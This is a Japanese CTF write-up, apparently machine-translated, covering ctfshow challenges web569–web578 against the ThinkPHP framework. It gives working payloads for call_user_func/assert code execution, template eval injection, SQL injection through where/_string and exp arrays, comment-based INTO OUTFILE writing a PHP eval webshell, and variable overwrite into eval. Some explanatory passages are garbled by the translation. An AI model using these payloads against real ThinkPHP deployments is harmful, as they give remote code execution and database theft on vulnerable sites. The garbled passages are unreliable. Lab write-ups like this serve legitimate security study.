web569
関連情報
thinkphpのマニュアルを参照してください。
下の図のインデックスメソッドにアクセスしてhello123を出力するには、次の4つのモードを実行できます。
PATHINFOモード
http://localhost/index.php/Home/Index/index/name/123/
通常モード
http://localhost/index.php?m=Home&c=Index&f=index&name=123
互換モード
http://localhost/index.php?s=Home/Index/index/name/123
パラメータsは、ThinkPHP-> Conf-> Convention.phpのVAR_PATH_INFO設定から取得されるため、他のパラメータに変更することもできます。
REWRITEモード
http://localhost/Home/Index/index/name/123/
答え
したがって、管理モジュールのログインコントローラのctfshowLoginメソッドにアクセスするのは非常に簡単です。
url/index.php/Admin/Login/ctfshowLogin
web570
タイトルで指定されたアプリケーションファイルをダウンロードし、config.phpでルーティングルールを見つけます。
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
つまり、url / index.php / ctfshow / xxx / yyyにアクセスすると、call_user_func(xxx、yyy)が実行されます。
入力/
が難しいため、system('ls /')を直接実行することはできず、メソッドを変更することしかできません。
ペイロード:
url/index.php/ctfshow/assert/eval($_POST[1])/
投稿:1=system('cat /f*');
web571
制御可能な変数nは、ホームモジュールのインデックスメソッドに表示されます。
次に、このshow関数を調べてみましょう。この側面のために、渡したパラメーターのみを残します。$n
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
デバッグを有効にし、表示でフォローアップします
フェッチ
のフォローアップでは、TMPL_ENGINE_TYPEがphpの場合、渡したn、つまりcontentがeval関数に入ることがわかります。
したがって、phpコードを直接渡すことができます。
ペイロード:
?n=<?php system('cat /f*');?>
web572
タイトルにはブラストが記載されています。thinkphpのデバッグが有効になっている場合、ランタイムディレクトリにログファイルが生成されます。ファイルの名前年_月_日.log
は付けられています。だから私たちはファイル名を爆破することができます
BPパケットのキャプチャとブラスト日付に加えて、phpコードが渡された21_04_05ログ
もあることがわかります。1文のトロイの木馬がバックグラウンドで書き込まれ、パスワードは
showctf。それでは、それも試してみましょう。
ペイロード:
index.php?showctf=<?php system('cat /f*');?>
web573
コンテンツがたくさんあり、コンテンツリンクは別に書かれています
web574
タイトルはホームページのソースコードを示します
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
前の質問の分析との違いは、高度な場所と高度な検索です。デバッグしてみましょう。
最終的に?id=1'
、where関数では以下の部分のみが実行されます。つまり、フロントに違いは
$this->options['where']=array("_string"=>"1'")
なく、フォーカスはparseWhereにあり、$where
この時点で$this->options['where']
値が渡されarray("_string"=>"1'")
ます。したがって、 yesの場合
$key
は次のように入力し、最終的に返されるコンテンツは、実行されるsqlステートメントはpayloadです:(テーブル名と列名の停止の手順は省略されます)'_string'
$val
id=1'
( id=1 )
select * from xxx where (id=1') limit 1
?id=0) union select 1,flag4s ,3,4 from flags%23
web575
コンテンツがたくさんあり、コンテンツリンクは別に書かれています
web576
ソースコードは以下の通りです
$user = M('Users')->comment($id)->find(intval($id));
findのキーIDはintvalを使用しているため、以前のSQLインジェクションの方法は使用できません。
次に、オプションのコメントに値を割り当てるコメント関数に注目しましょう。
前の手順を1つずつ繰り返すことはありません。コメントが使用されている場所を見てみましょう
id = 1を渡すと、最後のsqlステートメントは次select * from users where id=1 limit 1 /* 1*/
のようになります。
ペイロードの作成方法は非常に簡単です。
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
web577
ソースコードは次のとおりですが、以前よりも多くの場所があります
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
その主な機能は、入力値をに割り当てることです$this->options['where']
オプションは次のようになります。
関数まで下がると_parseOptions
、マークされたforループを通過した後にvalに割り当てられる値が表示されますoptions['where']
。さて、続けましょう。parseWhere
のparseWhereItemが配列の場合、文字列に割り当てられます。文字列の場合、最終的に返されるコンテンツは連結された文字列です。そのため、どのようにして得られたのでしょうか。関数内で次のことを強調しました。、whenマークされたforループの後にvalが割り当てられる値。実際、それは私たちが渡したIDの値を割り当てることに要約されます。今では明らかです。渡す?id [0] = expが入力され、渡さ。
$val
$val[0]
$exp
$exp
exp
$whereStr .= $key.' '.$val[1];
id
$val[1]
$val
_parseOptions
options['where']
$whereStr .= $key.' '.$val[1];
ペイロード:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web578
ソースコードは次のとおりです。デバッグを開始します
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
最初の関数assignは単純な割り当てです。つまり、パスインした場合、パスイン?name=a&from=b,
した場合$this->tVar=array('a'=>'b');
は、表示を確認し、フェッチをフォローアップして、この場所で動作する抽出関数があることを確認します。この関数を渡した後、bの値が生成されると仮定します。以下が重要なポイントです。空でない場合はeval関数が実行されるため、変数が上書きされている限り、 phpコードを実行できます。ペイロード:?name[x]=y,
$this->tVar=array('x'=>'y');
$this->tVar
$this->tVar=array('a'=>'b');
$a
empty($_content)?include $templateFile:eval('?>'.$_content);
$_content
$_content
?name[_content]=<?php system('cat /f*');?>